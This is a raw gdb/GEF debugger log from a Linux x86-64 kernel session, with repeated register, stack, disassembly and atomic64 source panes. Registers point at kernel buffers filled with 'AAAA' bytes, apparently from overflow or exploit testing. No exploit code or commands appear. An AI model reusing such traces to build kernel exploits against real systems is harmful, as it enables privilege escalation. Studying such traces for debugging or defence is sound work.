$r11 : 0xfefefefefefefeff
$r12 : 0x1ff
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177e28β+0x0000: 0xffff8881011e0228 β 0xffff888100a09040 β 0x0000000000004000 β $rsp
0xffffc90000177e30β+0x0008: 0xffffffff81875a3d β nop DWORD PTR [rax]
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400 β 0xffff888104250000
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177e08 β 0xffffffff81876024 β mov rbx, rax
$rbp : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f800 β 0x0000000000000002
$rip : 0xffffffff81874770 β endbr64
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177e08β+0x0000: 0xffffffff81876024 β mov rbx, rax β $rsp
0xffffc90000177e10β+0x0008: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400 β 0xffff888104250000
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177e08 β 0xffffffff81876024 β mov rbx, rax
$rbp : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f800 β 0x0000000000000002
$rip : 0xffffffff81874774 β push rbp
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177e08β+0x0000: 0xffffffff81876024 β mov rbx, rax β $rsp
0xffffc90000177e10β+0x0008: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e18β+0x0010: 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff888100d3f800 β 0x0000000000000002
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177de8 β 0xffffffff81874789 β mov edx, eax
$rbp : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rip : 0xffffffff81877330 β nop WORD PTR [rax]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177de8β+0x0000: 0xffffffff81874789 β mov edx, eax β $rsp
0xffffc90000177df0β+0x0008: 0x0000000000000006
0xffffc90000177df8β+0x0010: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e00β+0x0018: 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff888100d3f800 β 0x0000000000000002
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177de8 β 0xffffffff81874789 β mov edx, eax
$rbp : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rip : 0xffffffff81877334 β mov rax, QWORD PTR [rdi]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177de8β+0x0000: 0xffffffff81874789 β mov edx, eax β $rsp
0xffffc90000177df0β+0x0008: 0x0000000000000006
0xffffc90000177df8β+0x0010: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e00β+0x0018: 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e08β+0x0020: 0xffffffff81876024 β mov rbx, rax
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff888100d3f800 β 0x0000000000000002
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177de8 β 0xffffffff81874789 β mov edx, eax
$rbp : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rip : 0xffffffff81877334 β mov rax, QWORD PTR [rdi]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177de8β+0x0000: 0xffffffff81874789 β mov edx, eax β $rsp
0xffffc90000177df0β+0x0008: 0x0000000000000006
0xffffc90000177df8β+0x0010: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e00β+0x0018: 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e08β+0x0020: 0xffffffff81876024 β mov rbx, rax
0xffffc90000177e10β+0x0028: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0x[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff888100d3f800 β 0x0000000000000002
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177de8 β 0xffffffff81874789 β mov edx, eax
$rbp : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rip : 0xffffffff81877334 β mov rax, QWORD PTR [rdi]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177de8β+0x0000: 0xffffffff81874789 β mov edx, eax β $rsp
0xffffc90000177df0β+0x0008: 0x0000000000000006
0xffffc90000177df8β+0x0010: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e00β+0x0018: 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e08β+0x0020: 0xffffffff81876024 β mov rbx, rax
0xffffc90000177e10β+0x0028: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff888100d3f800 β 0x0000000000000002
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177de8 β 0xffffffff81874789 β mov edx, eax
$rbp : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rip : 0xffffffff81877334 β mov rax, QWORD PTR [rdi]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177de8β+0x0000: 0xffffffff81874789 β mov edx, eax β $rsp
0xffffc90000177df0β+0x0008: 0x0000000000000006
0xffffc90000177df8β+0x0010: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e00β+0x0018: 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e08β+0x0020: 0xffffffff81876024 β mov rbx, rax
0xffffc90000177e10β+0x0028: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e18β+0x0030: 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff888100d3f800 β 0x0000000000000002
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177de8 β 0xffffffff81874789 β mov edx, eax
$rbp : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f830 β 0xfffffe4c00000bf6
$rip : 0xffffffff81877334 β mov rax, QWORD PTR [rdi]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x0
$r13 : 0x1ff
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177de8β+0x0000: 0xffffffff81874789 β mov edx, eax β $rsp
0xffffc90000177df0β+0x0008: 0x0000000000000006
0xffffc90000177df8β+0x0010: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e00β+0x0018: 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e08β+0x0020: 0xffffffff81876024 β mov rbx, rax
0xffffc90000177e10β+0x0028: 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400
0xffffc90000177e18β+0x0030: 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
0xffffc90000177e20β+0x0038: 0x00000000000001ff
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8187732e nop
0xffffffff8187732f nop
0xffffffff81877330 nop WORD PTR [rax]
β 0xffffffff81877334 mov rax, QWORD PTR [rdi]
0xffffffff81877337 test rax, rax
0xffffffff8187733a js 0xffffffff81877351
0xffffffff8187733c lea rdx, [rax+0x1]
0xffffffff81877340 lock cmpxchg QWORD PTR [rdi], rdx
0xffffffff81877345 jne 0xffffffff81877337
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ source:./arch/x86/incl[...]atomic64_64.h+15 ββββ
10
11 #define ATOMIC64_INIT(i) { (i) }
12
13 static __always_inline s64 arch_atomic64_read(const atomic64_t *v)
14 {
β 15 return __READ_ONCE((v)->counter);
16 }
17
18 static __always_inline void arch_atomic64_set(atomic64_t *v, s64 i)
19 {
20 __WRITE_ONCE(v->counter, i);
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, stopped 0xffffffff812657d5 in arch_static_branch (), reason: STOPPED
[#1] Id 2, stopped 0xffffffff813eb3e3 in irq_work_tick (), reason: STOPPED
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
[!] Command registers failed to execute properly, reason: Selected thread is running.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
[!] Command context failed to execute properly, reason: No frame is currently selected.